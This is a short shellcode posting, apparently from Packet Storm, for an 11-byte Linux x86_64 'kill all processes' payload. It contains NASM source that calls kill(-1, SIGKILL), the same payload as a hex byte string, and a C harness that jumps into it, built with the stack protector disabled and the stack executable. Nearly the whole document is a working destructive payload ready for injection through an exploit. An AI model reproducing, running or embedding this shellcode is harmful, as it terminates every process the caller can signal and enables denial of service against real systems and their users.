Linux/x64 Kill All Processes Shellcode

11 bytes small Linux/x64 kill all processes shellcode.

MD5 | 51eb3c1c02e1c93c00e6062adbf418c9

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/*
;Title: Linux/x86_64 - KILL_ALL
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length:  11 bytes

========DESCTIPTION===========================
      #include <sys/types.h>
      #include <signal.h>
        int kill(pid_t pid, int sig); 


===COMPILATION AND EXECUTION==================

#nasm -f elf64 kill.nasm -o kill.o

#ld kill.o -o kill

=================SHELLCODE================

global _start

section .text

_start:

    

      

  push   0x3e    ; sys kill
  pop    rax
  push   -1       ; pid
  pop    rdi
  push  0x9      ; sig kill
  pop   rsi
  syscall



====================FOR C Compile===========================


# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing

*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x6a\x3e\x58\x6a\xff\x5f\x6a\x09\x5e\x0f\x05";


main()
{

printf("Shellcode Length:  %d\n", (int)strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

Source: packetstormsecurity.com